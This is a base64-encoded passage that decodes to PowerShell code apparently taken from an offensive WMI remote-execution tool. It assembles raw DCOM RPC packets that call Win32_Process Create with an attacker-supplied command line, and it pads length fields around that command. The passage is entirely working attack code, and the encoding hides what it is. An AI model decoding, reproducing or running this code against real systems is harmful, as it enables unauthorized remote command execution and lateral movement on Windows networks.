LDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2NvbnRleHRfSUQgPSAweDA0LDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3Rfb3BudW0gPSAweDA2LDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfVVVJRCA9ICRJUElEMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1JlcXVlc3QnDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfZGF0YSA9IDB4MDUsMHgwMCwweDA3LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYXVzYWxpdHlfSURfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDU1LDB4NzMsMHg2NSwweDcyLDB4MGQsMHgwMCwweDAwLDB4MDAsMHgxYSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MGQsMHgwMCwweDAwLDB4MDAsMHg3NywweDAwLDB4NjksMHgwMCwweDZlLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDMzLDB4MDAsMHgzMiwweDAwLDB4NWYsMHgwMCwweDcwLDB4MDAsMHg3MiwweDAwLDB4NmYsMHgwMCwweDYzLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDY1LDB4MDAsMHg3MywweDAwLDB4NzMsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDIsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgeyRfIC1nZSA4fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNlcXVlbmNlX251bWJlciA9IDB4MDksMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfYXV0aF9wYWRkaW5nID0gMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jYWxsX0lEID0gMHgwYiwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9jb250ZXh0X0lEID0gMHgwNCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X29wbnVtID0gMHgxOCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X1VVSUQgPSAkSVBJRDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kc3R1Yl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRDb21tYW5kLkxlbmd0aCArIDE3NjkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2xlbmd0aCA9ICRzdHViX2xlbmd0aFswLDFdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJHN0dWJfbGVuZ3RoMiA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJENvbW1hbmQuTGVuZ3RoICsgMTcyNykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfbGVuZ3RoMiA9ICRzdHViX2xlbmd0aDJbMCwxXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRzdHViX2xlbmd0aDMgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRDb21tYW5kLkxlbmd0aCArIDE3MTMpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2xlbmd0aDMgPSAkc3R1Yl9sZW5ndGgzWzAsMV0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kY29tbWFuZF9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRDb21tYW5kLkxlbmd0aCArIDkzKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZF9sZW5ndGggPSAkY29tbWFuZF9sZW5ndGhbMCwxXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRjb21tYW5kX2xlbmd0aDIgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRDb21tYW5kLkxlbmd0aCArIDE2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZF9sZW5ndGgyID0gJGNvbW1hbmRfbGVuZ3RoMlswLDFdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJGNvbW1hbmRfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRDb21tYW5kKQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyB0aGFua3MgdG8gQHZ5c2VjIGZvciBmaW5kaW5nIGEgYnVnIHdpdGggY2VydGFpbiBjb21tYW5kIGxlbmd0aHMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1N0cmluZ10kY29tbWFuZF9wYWRkaW5nX2NoZWNrID0gJENvbW1hbmQuTGVuZ3RoIC8gNA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGNvbW1hbmRfcGFkZGluZ19jaGVjayAtbGlrZSAiKi43NSIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kX2J5dGVzICs9IDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoJGNvbW1hbmRfcGFkZGluZ19jaGVjayAtbGlrZSAiKi41IikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmRfYnl0ZXMgKz0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKCRjb21tYW5kX3BhZGRpbmdfY2hlY2sgLWxpa2UgIiouMjUiKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZF9ieXRlcyArPSAweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmRfYnl0ZXMgKz0gMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gMHgwNSwweDAwLDB4MDcsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhdXNhbGl0eV9JRF9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4NTUsMHg3MywweDY1LDB4NzIsMHgwZCwweDAwLDB4MDAsMHgwMCwweDFhLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwZCwweDAwLDB4MDAsMHgwMCwweDU3LDB4MDAsMHg2OSwweDAwLDB4NmUsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MzMsMHgwMCwweDMyLDB4MDAsMHg1ZiwweDAwLDB4NTAsMHgwMCwweDcyLDB4MDAsMHg2ZiwweDAwLDB4NjMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4NjUsMHgwMCwweDczLDB4MDAsMHg3MywweDAwLDB4MDAsMHgwMCwweDU1LDB4NzMsMHg2NSwweDcyLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwNiwweDAwLDB4MDAsMHgwMCwweDBjLDB4MDAsMHgwMCwweDAwLDB4MDYsMHgwMCwweDAwLDB4MDAsMHg2MywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHg3MiwweDAwLDB4NjUsMHgwMCwweDYxLDB4MDAsMHg3NCwweDAwLDB4NjUsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMiwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDRkLDB4NDUsMHg0ZiwweDU3LDB4MDQsMHgwMCwweDAwLDB4MDAsMHg4MSwweGE2LDB4MTIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweGRjLDB4N2YsMHg3MywweGNmLDB4MTEsMHg4OCwweDRkLDB4MDAsMHhhYSwweDAwLDB4NGIsMHgyZSwweDI0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgxMiwweGY4LDB4OTAsMHg0NSwweDNhLDB4MWQsMHhkMCwweDExLDB4ODksMHgxZiwweDAwLDB4YWEsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NGIsMHgyZSwweDI0LDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0dWJfbGVuZ3RoMiArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHg3OCwweDU2LDB4MzQsMHgxMiArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9sZW5ndGgzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAyLDB4NTMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDA2LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwZCwweDAwLDB4MDAsMHgwMCwweDA0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwZiwweDAwLDB4MDAsMHgwMCwweDBlLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwYiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4ZmYsMHhmZiwweDAzLDB4MDAsMHgwMCwweDAwLDB4MmEsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDE1LDB4MDEsMHgwMCwweDAwLDB4NzMsMHgwMSwweDAwLDB4MDAsMHg3NiwweDAyLDB4MDAsMHgwMCwweGQ0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMiwweDAwLDB4MDAsMHhiMSwweDAzLDB4MDAsMHgwMCwweDE1LDB4ZmYsMHhmZiwweGZmLDB4ZmYsMHhmZiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4ZmYsMHhmZiwweGZmLDB4ZmYsMHhmZiwweGZmLDB4ZmYsMHgxMiwweDA0LDB4MDAsMHg4MCwweDAwLDB4NWYsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDVmLDB4NTAsMHg0MSwweDUyLDB4NDEsMHg0ZCwweDQ1LDB4NTQsMHg0NSwweDUyLDB4NTMsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2MSwweDYyLDB4NzMsMHg3NCwweDcyLDB4NjEsMHg2MywweDc0LDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwNCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHg0MywweDZmLDB4NmQsMHg2ZCwweDYxLDB4NmUsMHg2NCwweDRjLDB4NjksMHg2ZSwweDY1LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4NzMsMHg3NCwweDcyLDB4NjksMHg2ZSwweDY3LDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgxMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MGEsMHgwMCwweDAwLDB4ODAsMHgwMywweDA4LDB4MDAsMHgwMCwweDAwLDB4MzcsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4NDksMHg2ZSwweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MWMsMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDgwLDB4MDMsMHgwOCwweDAwLDB4MDAsMHgwMCwweDM3LDB4MDAsMHgwMCwweDAwLDB4NWUsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAyLDB4MGIsMHgwMCwweDAwLDB4MDAsMHhmZiwweGZmLDB4MDEsMHgwMCwweDAwLDB4MDAsMHg5NCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHg1NywweDY5LDB4NmUsMHgzMywweDMyLDB4NDEsMHg1MCwweDQ5LDB4N2MsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDUwLDB4NzIsMHg2ZiwweDYzLDB4NjUsMHg3MywweDczLDB4MjAsMHg2MSwweDZlLDB4NjQsMHgyMCwweDU0LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2OCwweDcyLDB4NjUsMHg2MSwweDY0LDB4MjAsMHg0NiwweDc1LDB4NmUsMHg2MywweDc0LDB4NjksMHg2ZiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NmUsMHg3MywweDdjLDB4NmMsMHg3MCwweDQzLDB4NmYsMHg2ZCwweDZkLDB4NjEsMHg2ZSwweDY0LDB4NGMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDY5LDB4NmUsMHg2NSwweDIwLDB4MDAsMHgwMCwweDRkLDB4NjEsMHg3MCwweDcwLDB4NjksMHg2ZSwweDY3LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg1MywweDc0LDB4NzIsMHg2OSwweDZlLDB4NjcsMHg3MywweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MjksMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDBhLDB4MDAsMHgwMCwweDgwLDB4MDMsMHgwOCwweDAwLDB4MDAsMHgwMCwweDM3LDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg1ZSwweDAwLDB4MDAsMHgwMCwweDAyLDB4MGIsMHgwMCwweDAwLDB4MDAsMHhmZiwweGZmLDB4Y2EsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAyLDB4MDgsMHgyMCwweDAwLDB4MDAsMHg4YywweDAwLDB4MDAsMHgwMCwweDAwLDB4NDksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDQ0LDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgzNiwweDAwLDB4MDAsMHgwMCwweDBhLDB4MDAsMHgwMCwweDgwLDB4MDMsMHgwOCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4NTksMHgwMSwweDAwLDB4MDAsMHg1ZSwweDAwLDB4MDAsMHgwMCwweDAwLDB4MGIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweGZmLDB4ZmYsMHhjYSwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDgsMHgyMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDhjLDB4MDAsMHgwMCwweDAwLDB4MTEsMHgwMSwweDAwLDB4MDAsMHgxMSwweDAzLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4NzMsMHg3NCwweDcyLDB4NjksMHg2ZSwweDY3LDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDA4LDB4MDAsMHgwMCwweDAwLDB4MDEsMHgwMCwweDA0LDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDA0LDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0MywweDc1LDB4NzIsMHg3MiwweDY1LDB4NmUsMHg3NCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NDQsMHg2OSwweDcyLDB4NjUsMHg2MywweDc0LDB4NmYsMHg3MiwweDc5LDB4MDAsMHgwMCwweDczLDB4NzQsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDcyLDB4NjksMHg2ZSwweDY3LDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwweDAxLDB4MDAsMHgwNCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgxMSwweDAwLDB4MDAsMHgwMCwweDBhLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4ODAsMHgwMywweDA4LDB4MDAsMHgwMCwweDAwLDB4ODUsMHgwMSwweDAwLDB4MDAsMHgwMCwweDQ5LDB4NmUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMSwweDAwLDB4MDQsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MWMsMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwweDAzLDB4MDgsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDg1LDB4MDEsMHgwMCwweDAwLDB4YWMsMHgwMSwweDAwLDB4MDAsMHgwMiwweDBiLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHhmZiwweGZmLDB4MDEsMHgwMCwweDAwLDB4MDAsMHhlMiwweDAxLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg1NywweDY5LDB4NmUsMHgzMywweDMyLDB4NDEsMHg1MCwweDQ5LDB4N2MsMHg1MCwweDcyLDB4NmYsMHg2MywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NjUsMHg3MywweDczLDB4MjAsMHg2MSwweDZlLDB4NjQsMHgyMCwweDU0LDB4NjgsMHg3MiwweDY1LDB4NjEsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDY0LDB4MjAsMHg0NiwweDc1LDB4NmUsMHg2MywweDc0LDB4NjksMHg2ZiwweDZlLDB4NzMsMHg3YywweDQzLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg3MiwweDY1LDB4NjEsMHg3NCwweDY1LDB4NTAsMHg3MiwweDZmLDB4NjMsMHg2NSwweDczLDB4NzMsMHg3YywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NmMsMHg3MCwweDQzLDB4NzUsMHg3MiwweDcyLDB4NjUsMHg2ZSwweDc0LDB4NDQsMHg2OSwweDcyLDB4NjUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDYzLDB4NzQsMHg2ZiwweDcyLDB4NzksMHgyMCwweDAwLDB4MDAsMHg0ZCwweDYxLDB4NzAsMHg3MCwweDY5LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2ZSwweDY3LDB4NTMsMHg3NCwweDcyLDB4NjksMHg2ZSwweDY3LDB4NzMsMHgwMCwweDA4LDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMSwweDAwLDB4MDQsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDI5LDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwweDAzLDB4MDgsMHgwMCwweDAwLDB4MDAsMHg4NSwweDAxLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4YWMsMHgwMSwweDAwLDB4MDAsMHgwMiwweDBiLDB4MDAsMHgwMCwweDAwLDB4ZmYsMHhmZiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MmIsMHgwMiwweDAwLDB4MDAsMHgwMiwweDA4LDB4MjAsMHgwMCwweDAwLDB4ZGEsMHgwMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4NDksMHg0NCwweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMSwweDAwLDB4MDQsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MzYsMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDMsMHgwOCwweDAwLDB4MDAsMHgwMCwweGJhLDB4MDIsMHgwMCwweDAwLDB4YWMsMHgwMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MGIsMHgwMCwweDAwLDB4MDAsMHhmZiwweGZmLDB4MmIsMHgwMiwweDAwLDB4MDAsMHgwMiwweDA4LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgyMCwweDAwLDB4MDAsMHhkYSwweDAxLDB4MDAsMHgwMCwweDcyLDB4MDIsMHgwMCwweDAwLDB4MTEsMHgwMywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMCwweDczLDB4NzQsMHg3MiwweDY5LDB4NmUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDY3LDB4MDAsMHgwZCwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwNCwweDAwLDB4MDAsMHgwMCwweDAwLDB4NTAsMHg3MiwweDZmLDB4NjMsMHg2NSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NzMsMHg3MywweDUzLDB4NzQsMHg2MSwweDcyLDB4NzQsMHg3NSwweDcwLDB4NDksMHg2ZSwweDY2LDB4NmYsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDcyLDB4NmQsMHg2MSwweDc0LDB4NjksMHg2ZiwweDZlLDB4MDAsMHgwMCwweDZmLDB4NjIsMHg2YSwweDY1LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2MywweDc0LDB4MDAsMHgwZCwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAs